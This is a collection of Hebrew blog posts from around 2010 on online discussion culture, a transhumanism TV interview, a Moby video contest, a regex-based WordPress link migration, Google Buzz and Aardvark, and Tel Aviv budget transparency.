הנה קישור לדף האירוע בפייסבוק (שם תוכלו להזמין חברים, ולכתוב שאתם מגיעים)
[www.facebook.com]
15:19 ניב ליליאן פירסם את "היכן שזקני השבט הולכים למות" פוסט נוגע ללב על זמן ושינוי.
בפוסט, ניב מתייחס לתופעה של אתרי אינטרנט וותיקים (עין הדג, רשימות, האייל הקורא) שאספו לתוכם תריסרי גולשים אשר הגיעו לבקר ושוחחו האחד עם השני, תופעה שבתקופה האחרונה מגיעה לסיומה.
אז עם מי נשארנו?
יש את אתרי הפורומים השונים (תפוז, כך אני שומע, עדיין פעיל). יש את ויקיפידיה העברית, אשר יש שיערערו על האם תרבות הדיון שם נעימה למבקר החדש, אך כך או אחרת היא חיה ונושמת(ראו את השיחה סביב מחיקת הערך "ענת קם". ולאחריו דף השיחה על כתיבת הערך ענת קם)
ומה עוד? ים של בלוגרים. מספר תגובות פה ושם, אבל ללא שיחה.
רגע, שכחנו עוד מישהו לא? רשתות חברתיות. טוויטר, פייסבוק וגוגל-באז.
ואיך תרבות הדיון שם?
בטוויטר – בעייתי (140 תווים למסר, זה נשמע מפתה – אבל בואו נודע על האמת, זה מקשה על דיון מעמיק…).
בגוגל באז – עוד לא ברור שתפס מספיק תשומת לב ציבורית (למרות שכאשר יש דיונים שם, הם לא רעים בכלל)
בפייסבוק – אני לא יודע, לא שמתי לב מתוך כמות ההזמנות לקבוצות ואירועים פיקטיביים שרק זיהמו לי את תיבת הדואר.
הטענה של ניב (אם הבנתי אותה נכון) היא שעם השנים קיבלנו עוד ועוד (ועוד!) אפשרויות לשוחח. אבל השיחה ברשת פוחתת. האם זה באמת קורא?
בשביל לענות ברצינות, צריך היה לאסוף נתונים ולנתחם.
אבל באינטואיציה – אני חושד שניב צודק.
ולמה זה קורה?
לדעתי – בגלל תשישות-רשת מצטברת של אנשים רבים, בשילוב עם "פרדוקס הבחירה".
להסבר מקיף על פרדוקס הבחירה, הנה הרצאתו המרתקת של בארי שוורץ בטד:
מה אתם חושבים על זה?
רוצים לפתח על זה כאן דיון? (ואם לא, אז בעצם, למה לא?)
16:04 ביום ראשון האחרון (11.04.2010), זכיתי להתראיין בתוכנית הבוקר של ערוץ 10 (בעקבות הכתבה שפורסמה בהארץ על טרנסהומניזם) לאייטם של 7 דקות (במקור אמרו לי שזה יהיה 5, אני מוחמא).
אני מזהיר אתכם שראיונות מסוג זה אינן מתאפיינות בעמקות דיונית (אופיה של הטלויזיה המשודרת. ולמי שלא קרא, אני ממליץ על הסקר "לבדר את עצמנו למוות" בשביל הרחבה על תרבות ה"ועכשיו…. זה!").
מה שכן, למזלי, זכיתי לקבל שאלות טובות (דהיינו, שאלות שידעתי איך לענות עליהן), אשר איפשרו להעביר מסרים בעלי ערך. שאלות כמו:
הראיון התחיל במשפט: "ממשהו לא בריא אנו עוברים אולי למשהו קצת מיסטי"
והסתיים במשפט המפוחד: "1000 שנה… נישמע לי ארוך מידי!"
שקיבל את המענה המרגיע: "לא יקרה, לא להיבהל!"
אז כנראה שלא "שיכנעתי" אף אחד באולפן, אבל אם הועבר אפילו שמץ מהרעיון לציבור הרחב, דייני.
והנה הראיון המוקלט:
(אם תוכלו להצביע בעד הסרטון, להפיץ בין חבריכם, לשמור כמועדף – זה יהיה מאד נחמד )
להרחבה (שהיא כן מעמיקה) בנושא, אני מזמין אתכם לאתר "סינגולריות | הארכת-חיים" – מגאזין מקוון בנושא, על ידי וחברים אחרים.
תודה רבה מגיעה ל: נדב, נעם, רז, איליה, סרג'יו, שני, פינקי, ליאור ושאר הטרנסהומניסטים המקסימים שעזרו לי במייל בהכנתי לראיון – בלעדיכם זה היה יוצא הרבה פחות מוצלח, תודה מקרב לב!
מאמרים נוספים:
19:59 אם ברצונכם להצביע לקליפ, לחצו כאן, ואז לחצו על VOTE, שמתחת לסרטון מצד ימין
* * * *
אני לרוב לא נכנס לאימייל שאומרים "תיכנס ותצביע כאן!", אבל אחרי שקיבלתי המלצה על הקליפ גם מאבא וגם מאחי הגדול, אמרתי שאני אתן לקליפ הזה ניסיון, מה כבר יכול להיות.
אז צפיתי, וכל כך נהניתי שהחלטתי לשתף: (המשך מתחת לקליפ)
הוידיאו-קליפ הוא עבור השיר "חכה לי" של מובי (MOBY – WAIT FOR ME), והוא חלק מתחרות שנערכת ע"י מובי. אל קו הגמר של התחרות יגיעו שישה קליפים מתוך מאה הקליפים המשתתפים בתחרות: שניים שיהיו נבחרי הקהל ועוד ארבעה שמובי וצוות שופטים מטעמו יבחרו.
הקליפ הזוכה יהיה הקליפ הרשמי של השיר של מובי ויוקרן בכל ערוצי המדיה.
ההצבעה לקליפים תסתיים מחר, ביום שני, 12.4, בשעה 24:00 של שעון ארה"ב (שעה 14:00 שעון ישראל).
כל הכבוד לכל יוצרי הקליפ, עבודה מעולה!
עוד על הקליפ נכתב באתר אגודת הסטודנטים של אונ ת"א.
רשימת המשתתפים המלאה בקליפ:
בימוי ותסריט: נמרוד שפירא. הפקה: אופיר גולדמן. צילום: אמנון האס. עריכה: ג'וליאן פדר.
משחק: שני בן חיים, אפריים לבנון, גל פרציגר, עמרי שפירא, עשות גספריאן וניר זליחובסקי ענבל רוטנברג ואודי אלנברג בתפקיד הסנאית ודב הפנדה. תאורה: אודי אלנברג. ע. ארט, עיצוב שיער ועיצוב סט: אלינה מרגולין. ע. צלם ראשון: חגי בן כוזרי. ע. צלם שני: איתמר רונאל, בן פונארוב ויונתן האורסטוק. איפור וצילום סטילז: ענבל רוטנברג. ארט והלבשה: נמרוד שפירא. עריכת אונליין: עומר זייטמן. אנימציה: יסכה מאיו. ציורי חייזרים: מיש רוזנוב. עיצוב תיק חמצן אסטרונאוט: לירון לזר.
15:54 שלום חברים וקוראים יקרים, מתוך התרגשות – חשבתי לשתף.
מחר (יום שבת) בעשרים לשתים-עשרה, אני צפוי לקיים ראיון טלפוני בגלי צה"ל,(ביטלו) בעקבות הכתבה שפורסמה בהארץ על טרנסהומניזם (שם גם רואיינתי).
איך אני בכלל קשור לנושא של טרנסהומניזם:
עידכון: ביטלו את הראיון איתי בעקבות מותו של נשיא פולין בהתרסקות המטוס ברוסיה, חבל. מאידך – ייתכן ואני אופיע ביום ראשון בטלויזיה.
עידכון 2: הופעתי בסוף בתוכנית הבוקר של ערוץ 10. גם הייתי אמור להופיע בחדשות שעה 5 בערוץ 1, אבל הם ביטלו (ככה זה עסקי הבידור…). אני אעלה את הסרטון בקרוב.
מאמרים נוספים:
14:56 במזל טוב, האתר "רשימות" התחילו לאפשר העברה של הבלוגים של הכותבים ברשימות למערכת וורדפרס (באיכסון עצמי, או באיכסון של wordpress.com).
לכבוד זאת, סייעתי לאחי שוקי להעביר את הבלוג שלו לבלוג עצמאי חדש ונוצץ: "שוקי 101".
האתגר: שימור קישורים פנימייםאבל המעבר הציב אתגר SEO: כלי ההמרה של רשימות מאפשר להעביר פוסטים מהבלוג הישן לבלוג החדש, אבל אם בבלוג הישן היה לכם לינקים שהפנו אל האתר הישן (המכונים גם internal links), הם ימשיכו לקשר לאתר הישן (ולא לחדש) גם לאחר המעבר..
כלומר – לאחר המעבר מרשימות לבלוג אחר, הלינקים הפנימיים של הבלוג שלכם יהפכו להיות לינקים חיצוניים לבלוג הישן שלכם. מבחינת SEO זה מאד לא רצוי.
אז איך פותרים זאת?
אפשרות אחת היא לעבור פוסט פוסט, לחפש לינקים ולתקן את כולם. בהתחשב בזה שאחי שוקי כותב את הבלוג שלו משנת 2003 וכתב קרוב ל- 1,200 פוסטים, החלטנו בפה אחד שנוותר על הרעיון הזה. אז מה עוד אפשר לעשות?
לאחר פירסום הפוסט פנה אלי אורי ברוכין וכתב לי הערה שחשוב לי שתועבר הלאה (בתימצות – הכל יהיה טוב), ובאריכות:
גם אם הלינקים החדשים שלהם אינם נראים מבוססי הקוד, הרי שייצאנו את כל הפוסטים מלכתחילה עם הקוד הזה, כך שגם לינק עם קוד עובד, מלכתחילה, אצל כולם. על זה יהיו מבוססות ההפניות האוטומטיות מהאתר הישן.
זה אומר גם שמי שלא ישנו – הלינקים הפנימיים פשוט יעבירו אל ההפנייה ואז בחזרה ללינק המתאים בבלוג החדש – אז אין מה לדאוג. לאלה ש-SEO חשוב להם במיוחד, מומלץ להשתמש בפתרון שלך, אבל לשאר עדיף לא להסתבך עם זה.
אני מבקש להדגיש זאת שוב: גם אם לא תשתמשו במה שאני מתאר בבלוג שלי, הרי שבעתיד (הנראה לעין), אנשים שילחצו על קישור יגיעו לאתר רשימות ומשם יופנו חזרה לבלוג שלכם. כך שמבחינת גולשים, אתם תהיו בסדר בכל מקרה.
הייתרון בשיטה שאני מציע הוא לאלו מכם שמעניין אותם כל הקטע הזה של SEO (וגם כן, אף אחד לא יודע באמת עד כמה זה קריטי. אבל לנו זה נראה מספיק מעניין כדי לבדוק ולגלות איך עושים זאת – גם אם לא תעשו את מה שאני מציע, יהיה בסדר)
יש כמה שלבים לפתרון הנוכחי:
0) בצעו גיבוי מלא של הבלוג שלכם!!! (wp-dbmanager הוא פתרון טוב בעיני, כי הוא מאפשר לשחזר גיבויים בקלות רבה)
1) עליכם להתקין את תוסף הוורדפרס (הנהדר): Search Regex
2)
היות ושוקי הוא מקדם אתרים משכמו ומעלה, הוא חזה מראש את הבעיה הזו ודאג (כך הבנתי) שמספר הפוסט שהיה לו בבלוג ברשימות יהיה גם מספר הפוסט שלו בבלוג וורדפרס החדש שלו.
כך לדוגמא, הלינק של פרוייקט הטחינה הגדול (סדרת הפוסטים המיתולוגית שהובילה להקמה של בלוג החומוס), הייתה בבלוג ברשימות:
http://notes.co.il/shooky/8508.asp
ובבלוג החדש היא נהפכה להיות:
http://www.shooky101.com/?p=8508
המבנה הקבוע הזה מאפשר לנו ליצור מערכת כללים שימירו את הלינקים הפנימיים מהבלוג הישן, להיות לינקים פנימיים לבלוג החדש. וכך עשיתי זאת.
כעת עליכם להכנס לתפריט ה "search regex" תחת "כלים" ולהתחיל לבצע החלפות. סמנו את תיבת ה – regex. ובחרו ב post content בתור ה source. כעת מלאו את הפרטים באופן הבא (החליפו את שם האתר של שוקי שמופיע בדוגמאות, לשם האתר שלכם)
שלב א: (החלפת כל פעם ששוקי נתן לינק לעמוד הבית שלו), מלאו את
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/"@
החלפה ב: "http://www.shooky101.com/"
תלחצו על הכפתור "replace" כדי לראות מה התוצאות (כך שאין שום בעיות יוצאות דופן). אם הכל הולך כשורה לחצו על "replace and save" כדי לשמור את התוצאות לבסיס הנתונים.
שלב ב: (אותו הדבר אבל בלי סלש)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky"@
החלפה ב: "http://www.shooky101.com/"
שלב ג: (להחליף את כל המקרים שיש בהם לינק עם מספר, ללינק החדש כאשר המספר נכנס למקום המתאים בלינק החדש = קסם!)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*[0-9])\.asp"@
החלפה ב: "http://www.shooky101.com/?p=$1"
שלב ד: (אותו הדבר, אבל למקרים שבהם לא היה סיומת asp ללינק המקורי)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*[0-9])"@
החלפה ב: "http://www.shooky101.com/?p=$1"
שלב ה: (פותר עוד כמה מקרים שלא ברור לי למה הם לא נתפסו קודם לכן)
חיפוש ב: @"http://(?:www\.)?notes\.co\.il/shooky/(.*?)\.asp"@
החלפה ב: "http://www.shooky101.com/?p=$1"
שלב ו: (לבדוק ללא סימן ה regex, האם פיספסנו משהו)
חיפוש של: [notes.co.il]
(בשלב הזה מצאתי כאלו מקרים כאשר היו פגמים בלינק)
למהדרים, אפשר גם לטפל קצת בלינקים שבתגובות. אם תבחרו בתור source את comment author URL,
תוכל לבצע משהו כמו זה (שימו לב שהפעם אין "גרשיים", כי אף פעם לא משתמשים בהם בתגובות. זה יוצר קצת סיפור, שימו לב לסדר שבו אני מבצע את הפעולות!):
החלפה של: [(?:www\.)?notes\.co\.il]
ב: [www.shooky101.com] 1
ואז –
החלפה של: [(?:www\.)?notes\.co\.il]
ב: [www.shooky101.com]
3) תתקינו את התוסף Broken Link Checker – כדי למצוא ולתקן עוד כל מיני מקרים (מוזרים לרוב) של לינקים שבורים/לא-תיקניים.
מקווה שעזרתי לכם (אם כן, אני אוהב לקבל תגובות בבלוג, לינקים ומסאז' טוב…)
מאמרים נוספים:
21:38 דרק סיברס לוקח סרטון המדגים יצירה של "תנועה" (קבוצת אנשים הרוקדים, לאחר שאיש אחד רקד כמו פסיכי), ומציע תובנות משלו לתופעה:
הלקחים הגדולים של ההרצאה הם:
עד כמה המסקנות האלה נותרות באירגון תנועות חברתיות שהן מעבר ל "בואו נרקוד"? אינני יודע… מה דעתך?
20:11 בקטע הבא (פחות מ- 7 דקות), אישה בשם פטסי מספרת 2 סיפורים כדי להסביר למה משחק (ושחקנים) הם עם חשוב.
היות והסיפור השני הציף אצלי דמעות, חשבתי שמן הראוי לשתף אתכם בו:
11:20 לבעלי בלוגי הוורדפרס שביניכם שרצו הוספה ליכולת של מערכת התגובות שלהם, התוסף (נתמך האוטומאטיק) IntenseDebate פירסמו (אתמול) שכעת הם תומכים בעברית (ויישור מימין לשמאל). תודה ליואב על עבודת ההתאמה והתירגום.
אחת הייתרונות של התוסף (שאינני מכיר דרך אחרת להשיג), היא לאפשר למשתמשים שלכם "להירשם" למערכת התגובות באמצעות משתמש הטוויטר שלהם. ואז יש להם אופציה לפרסם לטוויטר שלהם את התגובה שהם פירסמו אצלכם בבלוג.
מכירים עוד "ייתרונות מנצחים" עבור המערכת הזו, התחלתם להשתמש באינטנס דיבייט? אנא ספרו לי על זה בתגובות
מאמרים נוספים:
9:47 לפני שלושה ימים כתבתי פוסט על גוגל באז ומהי החשיבות שלו בעיני עבור גוגל. במאמר הזכרתי שירות "מנוע חיפוש חברתי" שנקרא Aardvark (אשר מתורגם ל "דב נמלים"), אותו גוגל רכשו. ובפוסט הנוכחי ברצוני להסביר יותר במה מדובר ולעודד את כולכם להירשם אליו .
מה ארדווארק עושה? ארדווארק (או ווארק בקיצור) הוא "מנוע חיפוש חברתי" שמאפשר לכם לשאול שאלה והאתר ימצא עבורכם מישהו שיענה לכם על השאלה.
במה זה שונה מגוגל? ישנו הבדל מהותי בין מה שארדווארק עושה לבין מה שגוגל עושים. גוגל מחפשת תוכן (שקיים באינטרנט) לפי מילות חיפוש (המייצגת שאלה שמעניינת אתכם). בעוד שארדווארק מחפש אנשים (ברשת החברתית המורחבת שלכם) אשר ייצרו תוכן חדש (תשובות) לשאלה שפירסמתם. כשם שמייסד אארדוארק אמר: "אנחנו משתמשים בבינה מלאכותית לא כדי להחליף אנשים, אלא כדי למצוא אנשים"
כיצד ארדווארד מוצא את האנשים הללו? הוא מבצע ניתוח של השאלה שלכם ומציע לכם איזה מילות מפתח קשורות לשאלה הזו. לאחר אישורכם (או שינוי התגיות על ידיכם), אארדווארק מחפש אנשים שתייגו את עצמם כאנשים שמבינים במילות המפתח הללו (או דומות).
אז למה האנשים עוזרים? שאלה פסיכולוגית/סוציולוגית/אבולוציונית (וכו') עמוקה. במבט ראשון חשבתי שזה דומה למוטיבציה שעומדת מאחורי האנשים שתורמים לויקיפדיה. אבל לאחר מבט נוסף, הבנתי שמדובר בסדרי גודל שונים לחלוטין.
אז מה הסיכוי שאני בכלל אקבל שם תשובה? נכון לכיום הרשת של אארדווארק כוללת למעלה מ- 90,000 משתמשים. מהסטטיסטיקות של האתר לאוקטובר 2009 – 87.7% מהאנשים ששאלו שאלה קיבלו תשובה. 75% מהאנשים ששאלו שאלה גם ענו תשובה למישהו על משהו אחר. 70.4% מהתשובות קיבלו דירוג "טוב" (לעומת "בסדר" או "רע"). אז הסיכויים שתקבלו תשובה הם לא רעים בכלל. והרבה פעמים הספקתי לקבל תשובות תוך פחות מ- 5 דקות.
החלטתם שאתם רוצים להירשם ל- Aardvark? מצויין! אתם יכולים פשוט להכנס לאתר ולהירשם. אם אתם רוצים עזרה, אז הנה סרטון שמסביר כיצד להירשם לאארדווארק:
רוצים לשאול שאלה ? בכיף, הנה סרטון שמסביר כיצד לשאול שאלות בשירות:
מה הלאה?
אם אתם סקרנים להעמיק יותר בכל הרעיון המקסים הזה, אתם יכולים לצפות בהרצאה (10 דקות) של דימון הורוביץ (המייסד של אארדווארק) בטדXסומה:
והממש סקרנים, מוזמנים לקרוא את המאמר שהוא פירסם בנושא: Anatomy of a Large-Scale Social Search Engine.
הערה (שיווקית) לסיום: אלו מכם שחושבים על שיווק באינטרנט. תשקלו ליצור משתמש באארדווארק עבור החברה שלכם. וכך תוכלו לקדם את מוצרי החברה לאנשים ששואלים בנושא.
(ותודה, שוב, לאייל סלע על שגילה לי את האתר הזה לפני כמה חודשים וגם שממש התעקש שאני אנסה אותו)
0:49 גוגל השיקו את "גוגל-באז". מטרתי במאמר זה היא לסכם את שלל המאמרים שמצאתי ברשת על השירות החדש ולגבש הסבר על מה קורה פה ולאן זה (לדעתי) הולך.
סיכום בפיסקה: גוגל ביצעו מהלך מבריק, שנותן להם סיכוי להיות המובילים בשוק העתידי של חיפוש ופירסום מקוון. וכעת אני אסביר מדוע.
* * * *
(בקצרה) מה זה גוגל-באזז: זהו שירות המאפשר למשתמשי ג'ימייל לבצע עידכוני סטטוס ל"חבריהם" (מתוך אנשי הקשר של ג'ימייל). לכלול בעידכוני הסטטוס הרבה סוגים של מידע (טקסט, תמונות, אודיו, סרטים, מיקום). הסטטוסים יכולים להישאב ממקורות קיימים (נאמר, הטוויטר או הבלוג שלכם) והחברים שעוקבים אחריכם יכולים להגיב לסטטוסים ולהמליץ עליהם לחברים אחרים. אפשר להשתמש בשירות מהמחשב או מהסלולרי. הנה סרטון (קצר) המדגים את הנאמר:
עוד המלצונת: הדס אדלר יצרה סרטון (בעברית) המסביר כיצד להשתמש בגוגל באז. וגם גאדג'ט גורו פירסם אחלה פוסט המסביר על השימוש בגוגלבאז.
הדברים הרעים שחושבים ברשת על גוגל באז
חיפוש זריז בבלוגוספירה הישראלית העלה שלל מאמרים. הרבה מהפוסטים היו שליליים. בלוגרים חוששים מעודף רעש, מפלישה לאימייל שלהם ומאובדן נוסף של פרטיות:
הקונטקסט
אבל במקביל למחשבות הכפירה בשירות החדש של גוגל, הבלוגרים גם מביאים את ההקשר הרחב יותר של התופעה. גל מור שואל "האם GOOGLE BUZZ יהרוג את טוויטר?" (ובעצם, גם פייסבוק), ניב מדבר על אותו הדבר בפוסט שלו ועל כך גם מדברים מורן בר ויניב פלדמן בפוסט "ה-Buzz של גוגל מאיים להשתלט על הזירה החברתית". אבל בעיני שני הפוסטים הכי חשובים הגיע דווקא מהבלוגוספירה העולמית. הראשון הוא הפוסט של טקקרנצ' "Google Acquires Aardvark For $50 million" והשני הוא "Google Buzz: "Are You at Work? How About a $.99 Big Mac From McDonald's, Three Blocks Away?""
איך כל הפוסטים הללו (ואחרים) משתלבים יחד?
באופן הבא: באמצעות שיחרור הגוגל-באז, גוגל ביצעה מהלך אסטרטגי מרכזי שיאפשר לה להפוך את בסיס משתמשי הג'ימייל שלה ממשתמשים נפרדים לרשת חברתית. כבר כעת יש לגוגל את המידע, אבל על ידי יצירת הגוגל-באז, גוגל מעניקה לעצמה את הלגיטימציה להשתמש במידע על הקשרים החברתיים בין המשתמשים בג'ימייל, עבור השירותים האחרים שלה. המידע החברתי על המשתמשים (בשילוב עם שלל פיט'צרים נוספים של גוגל באז) יאפשר לגוגל להרחיב את עצמה מחברת פירסום שהוא מבוסס "תוצאות חיפוש" או "מבוסס תוכן", לחברת פירסום שיכולה להציע פירסום "מבוסס מיקום" והכי חשוב "פירסום מבוסס שאלות" ו-"פירסום מבוסס אנשים".
הנה ההסבר: חייבים לזכור שגוגל היא חברת פירסום. הכסף שמניע את גוגל מגיע מפירסום (גוגל-אדוורדז) בתוצאות החיפוש של אנשים במנוע החיפוש "גוגל". כך גוגל מציעה "פירסום מבוסס תוצאות חיפוש". אבל גוגל הבינה שאם הם יישארו רק במנוע החיפוש שלהם, הם ייעלמו.
זה למה גוגל הרחיבה את הפירסומות שלה לתוך רשת השותפים של גוגל (כך בלוגים, כמו בלוג החומוס לדוגמא, מקבלים כסף דרך גוגל-אדסנס). גוגל אדסנס נותנת ליוצרי התוכן להציב אצלם פרסומות ולמפרסמים היא מאפשרת לעשות "פירסום מבוסס תוכן". אבל זה לא מספיק.
בשלב הקרוב, גוגל רוצה לתת לנו "פירסום מבוסס מיקום". לגוגל יש את גוגל-מפות (שירות המפות של גוגל), גוגל אנדרואיד (מערכת הפעלה, קוד-פתוח, לטלפונים סלולרים) וגוגל-פון (מכשיר סלולרי בחסות גוגל). אז מה חסר להם? לדעת את המיקום שלנו כרגע. ואיך הם מתכננים לעשות את זה? באמצעות הגוגל-באז. הגוגל באז מאפשר לאנשים ליצור הודעות סטטוסים מהמכשירים הסלולריים שלהם, ביחד עם תיוג (אוטומאטי) של המיקום שלהם בזמן יצירת הסטטוס. זה מאפשר, לדוגמא, לראות את הסטטוסים (של ה"חברים" שלנו) שנמצאים סביב מקום כלשהו. כדי לראות מה זה אומר, צפו בסרטון הבא:
אבל מה שזה בעצם אומר, הוא שגוגל תוכל להציע למפרסמים "פירסום מבוסס מיקום". כלומר, ליצור פרסומת (דרך גוגל אדוורדז), שתעלה כל פעם שמישהו מגיע לאיזור מסויים (והרי גוגל יודעים זאת, כיוון שהם אמרו להם היכן הם נמצאים דרך גוגל-באז).
עד כאן זה מה שכולם דיברו עליו. אבל יש עוד מרכיב אחד בסיפור, שהוא חשוב לא פחות (ואף יותר) מהקודמים: "חיפוש מבוסס שאלות". הדור הבא של חיפוש (ואני אומר את זה כמשתמש, לא ברמת התיאוריה) הוא חיפוש מבוסס שאלות (שאנשים אמיתיים עונים עליהם). כבר ישנו אתר אינטרנט (עם 90,000 משתמשים) שמאפשר זאת – קוראים לשירות הזה Vark.com (אדווארק או ווארק בקיצור). מדובר במנוע חיפוש שמאפשר לכם לשאול שאלה (האתר מתייג לאיזה נושאים השאלה קשורה) ואז האתר ימצא עבורכם מישהו (ברשת החברים המורחבת שלכם) שיענה לכם על השאלה (תודה לאייל סלע על שגילה לי את האתר הזה לפני כמה חודשים). ואת השירות הזה (כך פורסם היום) גוגל קנו!
השירות של אדווארק נשען על רשת חברתית של אנשים. כדי לאפשר לגוגל להכניס את (200 מליון) משתמשי הג'ימייל שלה לתוך אדווארק, היא קודם הייתה חייבת להפוך את ג'ימייל ל"רשת חברתית פתוחה" (דהיינו כזו שבה יש הצהרה רישמית שלנו, עם וויתור על פרטיות, על מיהם החברים שלנו). מרגע שגוגל פתחו את גוגל-באז, הדרך בשבילם פתוחה (לאחר שהאבק ישקע ואנשים יתרגלו לממשק והכל), לשלב לתוך הגוגל-באז את אדווארק. המשמעות של זה היא תוספת של (עד כ-) 200 מליון משתמשי ג'ימייל למנוע החיפוש, מבוסס אנשים, הגדול ביותר שנוצר אי פעם. מה שיאפשר לגוגל לשלב את הפירסומות שלה בתוך מנוע חיפוש מבוסס שאלות. זה מדהים!
והדבר הכי מדהים (שבערך כולם מבינים), זה שמרגע שגוגל שולטים ב"רשת חברתית" (דהיינו גוגל-באז), הם יוכלו להציע למפרסמים "פירסום מבוסס אנשים". במשמעות של – פרסם רק לאנשים מעל גיל X, זכרים, בעלי סוג פרופיל חברים כזה וכזה, בעלי הרגלי עבודה כאלה וכאלה, וכו' וכו'.
לאן זה מוביל את כולנו – עולם (כמעט) נטול פרטיות (למול גוגל, או חברה אחרת שתשיג אותה בסיבוב). הרבה יותר נגישות למידע ולאנשים. הרבה יותר צורך בניהול מידע, ניהול זמן, תיעדוף מטרות ומציאת פרופורציות בחיים.
כמו שעלה בשיחה שלי עם אחייני אוריאל (שבין שאר מעלותיו הוא חוקר תרבות מבריק), בספר 1984 פחדנו שהממשלה תהפוך לאח הגדול. ופתאום מצאנו את עצמנו בעולם שבו חברות מסחריות, ואנחנו (כהמון) נהפכנו לאח-הגדול של עצמנו…
הנה סרטון קלאסי (Epic 2015) שמדגים חזון עתידי (וקצת מפחיד) של כמות הכוח שגוגל הולכת לצבור בשנים הקרובות (ישנם עוד לפחות שלושה סרטונים בעלי אופי דומה. אולי נפרסם את כולם ביחד מתישהו…):
והערות קטנות לסיום:
חדירה: אני חושב שהגוגל-באז מציג את קונספט הסטטוסים לאנשים שאינם משתמשים בטוויטר או בפייסבוק.
תחרות: אני חושב שהגוגל-באז יכול (תאורתית) למחוק את טוויטר. והוא יהווה תחרות לפייסבוק (שבדיוק משיקה שירות אימייל משל עצמה שיתחרה בג'ימייל). בעיקר בהתחשב שלגוגל יש את גוגל-חבר-חבר (שמחברת את הרשת החברתית של גוגל בתוך אתרי אינטרנט ובלוגים אחרים), ו- API לגוגל-באז.
יהיה מעניין!
מאמרים נוספים:
15:40 "רשימות", הבלוגיה הייחודית בנוף הישראלי עומדת לבזר את הבלוגרים שבתוכו לוורדפרס. היום פורסם שבשבוע הקרוב ישוחרר כלי ההמרה אשר יאפשר לבלוגרים לעבור מרשימות לכל פלאטפורמת וורדפרס שם בחוץ.
אני מזמין את שאר חברי קהילת וורדפרס להציע את מה שאני מציע, אני חושב שכך כולנו נרוויח - עכשיו הזמן לעזור!
ההצעה: לאחר מחשבות החלטתי שאני מציע את עצמי לסייע ("בהתנדבות") לבלוגרי רשימות לעבור לבית חדש תחת פלאטפורמת וורדפרס תחת העקרונות הבאים:
הטופס:
אם אתם מעוניינים בעזרתי, אנא מלאו את הטופס הבא ואשוב אליכם תוך 24 שעות.
Loading…
מאמרים נוספים:
15:40 "רשימות", הבלוגיה הייחודית בנוף הישראלי עומדת לבזר את הבלוגרים שבתוכו לוורדפרס. היום פורסם שבשבוע הקרוב ישוחרר כלי ההמרה אשר יאפשר לבלוגרים לעבור מרשימות לכל פלאטפורמת וורדפרס שם בחוץ.
אני מזמין את שאר חברי קהילת וורדפרס להציע את מה שאני מציע, אני חושב שכך כולנו נרוויח - עכשיו הזמן לעזור!
ההצעה: לאחר מחשבות החלטתי שאני מציע את עצמי לסייע ("בהתנדבות") לבלוגרי רשימות לעבור לבית חדש תחת פלאטפורמת וורדפרס תחת העקרונות הבאים:
הטופס:
אם אתם מעוניינים בעזרתי, אנא מלאו את הטופס הבא ואשוב אליכם תוך 24 שעות.
Loading…
מאמרים נוספים:
9:35 הבוקר פורסם בווינט דבריו של רועי פלד (מנכ"ל התנועה לחופש המידע) על כך שהגישה של הממשל בארץ היא "למה לפרסם מידע אם אפשר לא לפרסמו". לצערו, גם הציבור לא נאבק מספיק על זכותו לדעת.
בהמשך לדבריו, אני אפרסם כאן אימייל שקיבלתי לפני ימים מספר מחברי אלון דוד אשר מעדכן לגבי מצב "שיחרור התקציב" של עיריית תל אביב. השורה התחתונה עגומה.
היות והמכתב מסביר עצמו היטב, אני מביאו כלשונו:
הקואליציה של חולדאי הצביעה פה אחד נגד שקיפות התקציב העירוני בישיבת המועצה שנערכה אתמול, ה-21 בדצמבר. במפגן מרשים של משמעת קואליציונית הצביעו כל חברי הקואליציה וסיעת ש"ס נגד הנגשת נתוני התקציב העירוני לתושבי העיר. גם חברי מועצה שהבטיחו לבוחריהם שקיפות ודמוקרטיה, כמו מרצ, רוב העיר והירוקים הצביעו נגד ההצעה של חבר המועצה מטעם עיר לכולנו ד"ר נח עפרון לפרסם את נתוני התקציב העירוני בפורמט של קובץ מחשב נגיש לחיפוש ומיון נתונים כגון גליון נתונים אלקטרוני "אקסל".
עפרון קרא לראש העיריה ולחברי המועצה לאפשר גישה לנתוני התקציב לתושבי העיר – משלמי המיסים והארנונה. ראש העיריה התבטא בעבר ש"אינו מבין לשם מה זה דרוש והדבר ישמש רק לניגוח מולו”. דובר העיריה אף נימק ש"מתן גישה לנתוני התקציב לאנשים לא מקצועיים הוא דבר מסוכן שעלול להוביל אותם למסקנות הלא נכונות”. עפרון טען בתגובה ש"בכל העולם תם עידן ההתנשאות והפטרנליזם בו ראש העיריה יודע יותר טוב מהתושבים מה טוב עבורם”. “גם אני לא מקצועי בנושא כספים”, טען עפרון, ”גם חברי המועצה אינם וגם אתה – ראש העיריה – לא רואה חשבון. אבל בכל זאת אנחנו דנים בנתוני תקציב. העיר הזו מלאה בתושבים אינטלגנטים וחכמים שיכולים בדיוק כמונו ואפילו יותר – להתעניין, להביע דעה ולהשפיע על התקציב העירוני המגיע מכספי המיסים של כולנו".
"זה מהיר , זה זמין וזה זול, והמידע הזה יצא בסוף. אם בזכות אקטיביסטים שיעתיקו את הנתונים בעצמם מספר לגליון נתונים ואם בזכות פעולה משפטית של התנועה לחופש המידע".
התנועה לחופש המידע פירסמה לאחרונה חוות דעת משפטית הפוסקת שהסירוב של עיריית תל אביב-יפו לפרסם את נתוני התקציב בקובץ נגיש עומד בסתירה לחוק חופש המידע. זאת מפני שמתקיימים שני תנאים: הרלוונטיות של המידע הזה לציבור והעובדה שקובץ המחשב הזה כבר נמצא בידי העיריה והפעולה לפרסמו אינה מורכבת.
בתגובה להצעת עפרון, טען דוכן חולדאי מעל דוכן הנואמים ש"התקציב כבר מפורסם באתר העיריה" תוך שהוא מתעלם במכוון מהעובדה שהקובץ סגור לחיפוש ומיון נתונים ואינו מאפשר ניתוח תקציבי אלא רק מראית עין של שקיפות.
חברי המועצה ראובן לדיאנסקי (תנו לחיות) ותמר – תמי – זנדברג (מרצ) התיישרו לימין חולדאי ונאמו מעל הדוכן נגד ההצעה לפרסם את נתוני התקציב בפורמט פתוח ושקוף. לדיאנסקי, שחתם לפני שבועיים על העצומה לשחרור התקציב לתושבים התחרט ואמר שהוטעה והאופן בו מפורסם התקציב טוב לטעמו.
